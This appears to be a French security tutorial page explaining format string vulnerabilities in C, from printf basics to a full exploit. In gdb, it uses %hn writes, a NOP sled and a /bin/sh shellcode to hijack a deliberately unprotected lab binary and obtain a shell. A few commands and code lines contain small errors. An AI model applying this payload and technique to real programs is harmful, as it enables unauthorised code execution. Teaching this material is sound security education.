> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/pwn/stack/format-string.md).

# Format string

Attention aux formateurs...

## Format string

### Les bases

Un programme est vulnérable à une format string quand une entrée censée être un string est évaluée comme une commande.

En C vous connaissez sûrement la fonction [printf](https://koor.fr/C/cstdio/fprintf.wp) pour afficher des données.

```c
printf("Hello world");
```

Le prototype de la fonction est:

```c
int printf(const char* format, ...);
```

Le premier argument `format` est une chaîne formatée (ou format string) et la suite est un ensemble optionnel de variables utilisé pour remplacer les formateurs présents dans la chaîne formattée:

```c
char name[] = "sam";
int age = 23;
printf("My name is %s and I am %d years old", name, age);
```

Les formateurs `%s` et `%d` sont remplacés par le contenu des variables `name` et `age`.&#x20;

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./example
My name is sam and I am 23 years old
```

Le formateur `%s` affiche le contenu de `name` comme un string et `%d` celui de `age` comme une valeur décimale. On peut utiliser d'autres formateurs par exemple `%x` affiche une valeur hexadécimale, etc.

```c
#include <stdio.h>

int main(int argc, char** argv) {

        char name[] = "sam";
        int age = 23;

        printf("name est situé à l'adresse: 0x%x ou encore: %d\n", &name, &name);

        printf("age en décimal: %d\n", age);
        printf("age en hexadécimal: %x\n", age);

        return 0;
}
```

Quand on l'exécute on voit que `name` est situé à l'adresse 0xff915848 (-4575576) et les deux représentation de `age` (23 en décimal et 0x17 en hexa).

```c
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./printf 
name est situé à l'adresse: 0xffba2ea8 ou encore: -4575576
age en décimal: 23
age en hexadécimal: 17
```

### Les différents types de formateurs

Plusieurs fonctions prennent en argument des chaînes formatées comme:

* printf (affiche une chaîne de caractères formatée)
* fprintf (écrit une chaîne de caractères formatée dans un fichier)
* sprintf (copie une chaîne formatée dans un string)
* snprintf (copie une chaîne formatée dans un string en vérifiant la longueur)
* etc.

Ces fonctions peuvent utiliser différents formateurs. Voici une liste de formateurs courants:

| Formateur |                       Effet                       |
| :-------: | :-----------------------------------------------: |
|    `%s`   |                       string                      |
|    `%d`   |                      décimal                      |
|    `%u`   |                 décimal non signé                 |
|    `%x`   |                    hexadécimal                    |
|    `%c`   |                     caractère                     |
|    `%p`   |                      pointeur                     |
|    `%n`   | écrit le nombre d'octets affichés dans la mémoire |

Ces formateurs peuvent être classés en 2 groupes:

* formateurs directs (%d, %u, %x)
* formateurs pointeurs (%s, %c, %p, %n)

Les formateurs directs ciblent une valeur sur la pile et l'affiche.

Les formateurs pointeurs ciblent une valeur sur la pile et **affichent le contenu à l'adresse pointée par cette valeur**.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FRWgs13jEeTSIKIsnUfHG%2Fformat-string-2.svg?alt=media&amp;token=8c5ca372-dcc8-49d7-b681-6edb1afd1c41" alt="" width="563"><figcaption></figcaption></figure>

Reprenons notre exemple:

```c
char name[] = "sam";
int age = 23;
printf("My name is %s and I am %d years old", name, age);
```

A l'appel de `printf` l'adresse de `name` (0xffba2ea8) et la valeur de `age` (23) sont empilées. Le formateur `%s` cible l'adresse de `name` et lis la valeur qui y est stockée (`"sam"`). Quant à `%d` il cible directement 23.

```bash
    +---------------------+
    |    bas de la pile   |
    +---------------------+
    |         ...         |
    +---------------------+
    |         ...         |
    +---------------------+
    |         23          |  <-- %d affiche directement cette valeur
    +---------------------+
    |      0xffba2ea8     |  <-- %s va chercher la valeur à cette adresse et l'affiche
    +---------------------+
    |         ...         |
    
```

### Vulnérabilité

Maintenant que tout ça est clair passons à la vulnérabilité.

Le programme est vulnérable quand une fonction devant prendre une chaîne formatée en argument est appelée sans.

```c
#include  <stdio.h> 

int main(int argc, char** argv) {

	// Cette ligne est safe
	printf("%s\n", argv[1]);

	// Cette ligne est vulnérable
	printf(argv[1]);
	
	return 0;
}
```

Le 2e appel pose problème car si on donne un formateur en argument du programme, par exemple `%x` la fonction sera appelée comme ça:

```c
printf("%s"); // ici argv[1] = %s
```

La fonction va essayer de remplacer `%s` par le prochain argument de `printf` mais ici il n'y en a pas ! Mais elle ne le sait pas, son comportement est le même que d'habitude: elle affiche une valeur sur la pile qu'elle croit être un argument. On peut ainsi lire le contenu de la pile et accéder à des données potentiellement sensibles: c'est une fuite mémoire.

Le vrai problème est qu'il est possible d'écrire dans la mémoire avec le formateur `%n`.

Regardons tout ça de plus près.

Commençons par donner une entrée normale.

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./format-string toto                     
toto
toto 
```

Aucun problème jusque là (normal). Maintenant essayons un formateur `%x`.

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./format-string %x  
%x
0
```

L'appel avec chaîne formatée affiche bien notre entrée comme un string ("%x") mais le second l'exécute comme une commande et affiche une valeur sur la pile (ici 0). Si on ajoute d'autres `%x`, chaque formateur va cibler une valeur de 4 octets sur la pile:

```bash
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./format-string %x%x%x%x%x
%x%x%x%x%x
013565561b5f7c216acf7fd9d41
```

Si on jette un oeil avec gdb on peut regarder l'état de la pile à l'appel du second `printf`:

```c
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ gdb format-string  

(gdb) b printf
(gdb) r %x%x%x%x%x
Breakpoint 1, 0xf7c53f70 in printf () from /lib32/libc.so.6
(gdb) x/10x $esp
0xffffcf7c:     0x565561e2      0xffffd26e      0x00000000      0x00000013
0xffffcf8c:     0x565561b5      0xf7c216ac      0xf7fd9d41      0xf7c1c9a2
0xffffcf9c:     0xffffcfc0      0xf7e1dff4
```

J'ai mis un breakpoint point à l'appel de `printf` et j'ai donné 5 `%x` en entrée (comme on vient de le faire hors de gdb). Ensuite j'ai affiché les 10 zones mémoires au sommet de la pile.

On retrouve bien les octets affichés plus tôt (0, 13, 565561b5, f7c216ac et f7fd9d41). On remarque que les 0 sont tronqués (013565561b5f7c216acf7fd9d41 est affiché au lieu de 0000000000000013565561b5f7c216acf7fd9d41)

Pour que ce soit plus clair, voici l'état de la pile:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F6JNEbsCjbhs1zC2Bsvds%2Fformat-string-1.svg?alt=media&amp;token=899094ad-930c-46ce-94dc-4f13da26bf04" alt="" width="563"><figcaption></figcaption></figure>

Pour revenir aux formateurs pointeurs, si on remplace le 2e `%x` par `%s` il va essayer de lire le contenu à l'adresse 0x00000013 et provoquer une erreur de segmentation.

```c
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./format-string %x%s%x%x%x
%x%s%x%x%x
zsh: segmentation fault  ./format-string %x%s%x%x%x
```

## Exploitation

Prenons ce code vulnérable:

```c
#include  <stdio.h> 
#include <string.h>

int main(int argc, char** argv) {

        char buffer[256];

        strncpy(buffer, argv[1], 255);
        buffer[255] = "\0";

        // ligne vulnérable
        printf(buffer);

        return 0;
}
```

```bash
gcc format-string.c -o format-string -fno-stack-protector -z execstack -no-pie -m32
```

Pour exploiter une format string le formateur `%n` est crucial. Rappelons qu'il écrit à l'adresse qu'il cible le nombre d'octets déjà affichés par la fonction. Comme on vient de le voir, un formateur cible une valeur de 4 octets sur la pile et le prochain formateur cible les 4 octets suivants, etc.

A l'appel de `printf` la variable `buffer` est empilée. Pour notre exploit, commençons par trouver combien de formateurs sont nécessaires pour atteindre le début de `buffer` sur la pile. Pour faire ça on va donner en entrée 4 octets ("AAAA") et essayer différents nombres de `%x` jusqu'à ce qu'un d'entre eux cible le début de `buffer` qui est `AAAA` soit `0x41414141` en hexa.

```c
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./format-string AAAA%x%x%x%x  
AAAAff8782a3ff566051b741414141
```

Le 4e `%x` cible 0x41414141 ("AAAA").&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FfLK3ufGe9OCZ9fpjLQcJ%2Fformat-string-3.svg?alt=media&amp;token=d657dd20-2faf-48bf-99e9-4808fbb58d2e" alt="" width="517"><figcaption></figcaption></figure>

Si on le remplace par le formateur `%n` il va essayer d'écrire à l'adresse 0x41414141 et renvoyer une segmentation fault (parce que cette adresse n'existe pas dans l'adressage du programme):

```c
┌──(kali㉿kali)-[~/Documents/exploits]
└─$ ./format-string AAAA%x%x%x%s
zsh: segmentation fault  ./format-string AAAA%x%x%x%n
```

Essayons plutôt d'écrire à une vraie adresse. Avec gdb on place un breakpoint après l'appel à `printf`.&#x20;

```c
(gdb) set disassembly-flavor intel 
(gdb) disas main
Dump of assembler code for function main:
   0x000011a0 <+0>:     push   ebp
   0x000011a1 <+1>:     mov    ebp,esp
   0x000011a3 <+3>:     push   ebx
   0x000011a4 <+4>:     sub    esp,0x114
   0x000011aa <+10>:    call   0x11af <main+15>
   0x000011af <+15>:    pop    ebx
   0x000011b0 <+16>:    add    ebx,0x2e45
   0x000011b6 <+22>:    mov    DWORD PTR [ebp-0x10c],ebx
   0x000011bc <+28>:    mov    eax,DWORD PTR [ebp+0xc]
   0x000011bf <+31>:    mov    eax,DWORD PTR [ebp+0x8]
   0x000011c2 <+34>:    lea    eax,[ebx-0x1fec]
   0x000011c8 <+40>:    mov    DWORD PTR [ebp-0x8],0x0
   0x000011cf <+47>:    mov    eax,DWORD PTR [ebp+0xc]
   0x000011d2 <+50>:    mov    ecx,DWORD PTR [eax+0x4]
   0x000011d5 <+53>:    mov    eax,esp
   0x000011d7 <+55>:    mov    DWORD PTR [eax+0x4],ecx
   0x000011da <+58>:    lea    ecx,[ebp-0x108]
   0x000011e0 <+64>:    mov    DWORD PTR [eax],ecx
   0x000011e2 <+66>:    mov    DWORD PTR [eax+0x8],0xff
   0x000011e9 <+73>:    call   0x1050 <strncpy@plt>
   0x000011ee <+78>:    mov    ebx,DWORD PTR [ebp-0x10c]
   0x000011f4 <+84>:    lea    eax,[ebx-0x1fec]
   0x000011fa <+90>:    mov    BYTE PTR [ebp-0x9],al
   0x000011fd <+93>:    lea    eax,[ebp-0x108]
   0x00001203 <+99>:    mov    DWORD PTR [esp],eax
   0x00001206 <+102>:   call   0x1040 <printf@plt>  <== appel à printf
   0x0000120b <+107>:   xor    eax,eax <== breakpoint
   0x0000120d <+109>:   add    esp,0x114
   0x00001213 <+115>:   pop    ebx
   0x00001214 <+116>:   pop    ebp
   0x00001215 <+117>:   ret
End of assembler dump.
(gdb) b *main+107
Breakpoint 1 at 0x120b
(gdb) r abcd
Breakpoint 1, 0x0000120b in main ()
(gdb) x $esp
0xffffcea0:     0xffffceb0
```

Pour trouver une bonne adresse j'en ai affiché une sur la pile, ici 0xffffcea0. Elle contient la valeur 0xffffceb0. Maintenant lançons le programme avec cette adresse, 3 formateurs `%x` et un `%n` pour écrire à cette adresse.

```c
(gdb) r $(perl -e 'print "\xa0\xce\xff\xff" . "%x"x3 . "%n"')

Breakpoint 1, 0x00001206 in main ()
(gdb) x/x 0xffffcea0
0xffffcea0:     0x00000016
(gdb) c
Continuing.
����ffffd26cff56558ff4[Inferior 1 (process 22010) exited normally]
```

Ca a bien marché ! On voit que 0x16 (22 en décimal) a été écrit à l'adresse 0xffffcea0.&#x20;

Mais pourquoi 22 ? Parce qu'on a affiché l'adresse 0xffffcea0 de 4 octets (les caractères non imprimables au dessus) puis 18 caractères (ffffd26cff56558ff4). Les 3 formateurs `%x` n'affichent pas 3\*8=24 octets car comme on a vu plus tôt les zéros sont tronqués. On peut écrire ce qu'on veut où on veut dans la mémoire maintenant !

On va modifier le flux d'exécution du programme en écrasant l'adresse de retour de `main`. On va la faire pointer vers une nop sled puis un shellcode pour obtenir un shell. Commençons par trouver où est l'adresse de retour de `main`. Pour rappel l'instruction `ret` prend la valeur au sommet de la pile et la met dans le registre `eip`. En mettant un breakpoint à cette instruction on peut lire l'adresse du sommet de la pile.

```c
(gdb) disass main                                                                                                                                           
Dump of assembler code for function main:                                                                                                                   
   0x565561a0 <+0>:     push   ebp                                                                                                                          
   0x565561a1 <+1>:     mov    ebp,esp                                                                                                                      
   0x565561a3 <+3>:     push   ebx                                                                                                                          
   [...]
   0x56556213 <+115>:   pop    ebx
   0x56556214 <+116>:   pop    ebp
   0x56556215 <+117>:   ret  <== on place un breakpoint ici
End of assembler dump.
(gdb) b *main+117
Breakpoint 1 at 0x56556215
(gdb) r $(perl -e 'print "\xa0\xce\xff\xff" . "%x"x3 . "%n"')

Breakpoint 1, 0x56556215 in main ()
(gdb) x $esp
0xffffcf3c:     0xf7c237c5
```

L'adresse où est stockée l'adresse de retour à modifier est 0xffffcf3c. Relançons le programme avec cette adresse.

```c
(gdb) r $(perl -e 'print "\x3c\xcf\xff\xff" . "%x"x3 . "%n"')

Breakpoint 1, 0x56556215 in main ()
(gdb) x $esp
0xffffcf3c:     0x00000016
```

Hop c'est bon ! La valeur au sommet de la pile est maintenant 0x16 ! Si on continu l'exécution on a évidemment une segmentation fault parce qu'il tente d'accéder à l'adresse 0x00000016.

```c
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000016 in ?? ()
```

Pour le shellcode j'en ai choisi un de 45 octets qui ouvre un shell avec la commande `"/bin/sh"`:

```
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
```

On va mettre une nop sled suivie du shellcode dans la mémoire et sauter quelque part dans la nop sled à la fin de `main` en ayant modifié son adresse de retour (classique). Notre entrée va ressembler à ça:

```
[@saved eip] [nop sled] [shellcode] [3 %x] [%n]
```

Injectons le shellcode et la nop sled en mémoire:

```c
(gdb) r $(perl -e 'print "\x3c\xcf\xff\xff" . "\x90"x50 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"  . "%x"x3 . "%n"')

Breakpoint 1, 0x56556215 in main ()
(gdb) x/30x $esp

0xffffce10:     0x00000075      0xffffd20d      0x000000ff      0x56558ff4
0xffffce20:     0xffffce40      0x90909090      0x90909090      0x90909090
0xffffce30:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffce40:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffce50:     0x90909090      0x1feb9090      0x0876895e      0x4688c031
0xffffce60:     0x0c468907      0xf3890bb0      0x8d084e8d      0x80cd0c56
0xffffce70:     0xd889db31      0xe880cd40      0xffffffdc      0x6e69622f
0xffffce80:     0x2568732f      0x25782578
```

En affichant 30 zones mémoires en partant du sommet de la pile on voit clairement la nop sled composée de 0x90 suivie du shellcode. Prenons une adresse cible quelque part dans la nop sled: 0xffffce40. Il faut écrire cette adresse à la place de l'adresse de retour de `main` donc à l'adresse 0xffffcf3c. Pour ça il faut afficher 4294954560 octets (0xffffce40 en décimal) avant le formateur `%n`. Le problème est que ce nombre est trop grand pour être écrit d'un seul coup donc il va falloir l'écrire en plusieurs fois. Pour résoudre ce problème on dispose du formateur `%hn` qui écrit 2 octets en mémoire contrairement à `%n` qui en écrit 4. On va donc utiliser 2 fois le formateur `%hn`:

* une fois pour écrire 0xce40
* une seconde fois pour écrire 0xffff

On veut écrire 0xffffce40 à l'adresse 0xffffcf3c. Les 4 octets de cette adresse sont répartis comme ça:

**Adresse Mémoire** | **Adresse Octet 3** | **Adresse Octet 2** | **Adresse Octet 1** | **Adresse Octet 0** |       *0xFFFFCF3C*       |    *0xFFFFCF3F*  |     *0xFFFFCF3E*    |    *0xFFFFCF3D*    |   *0xFFFFCF3C* |                                                                                 &#x20;

* Le premier `%hn` va pointer vers 0xffffcf3f pour écrire 0xce40 (52800)
* Le second `%hn` va pointer vers 0xffffcf3e pour écrire 0xffff (65535)

Avant le premier `%hn` il faut afficher 52800 octets et 65535 avant le deuxième.

> Pour éviter de s'embêter à mettre les formateurs `%x` on peut utiliser la synthaxe `%4\$hn`.
>
> C'est l'équivalent de `%x%x%x%hn`. Pour afficher beaucoup d'octets pour peut faire comme ça: `%XXXXd` par exemple pour afficher 9999 octets: `%9999d`.

Notre entrée va être:

```
[ 0xffffcf3c ] [ 0xffffcf3e ] [ nop sled ] [ shellcode ] [ X octets ] [ %4\$hn ] [ Y octets ] [ %5\$hn ]
```

$$X = 52800- adresse - adresse - nop sled - shellcode$$

$$X=52800-4-4-50-45$$

$$X=52697$$

$$Y=65535-X-adresse-adresse-nopsled-shellcode$$

$$Y = 65535- 52697- 4 - 4 - 50 - 45$$

$$Y=12735$$

```
[ 0xffffcf3c ] [ 0xffffcf3e ] [ nop sled ] [ shellcode ] [ 52697 octets ] [ %4\$hn ] [ 12735 octets ] [ %5\$hn ]
```

```c
(gdb) r $(perl -e 'print "\x3c\xcf\xff\xff" . "\x3e\xcf\xff\xff" . "\x90"x50 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "%52697d" . "%4\$hn" . "%12735d" . "%5\$hn"')

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$ whoami
[Detaching after vfork from child process 53463]
kali
$
```

On a bien notre shell !

## Protection

Cette faille est facile à éviter...il suffit de bien utiliser les fonctions qui prennent des chaînes de caractères formatées en argument.
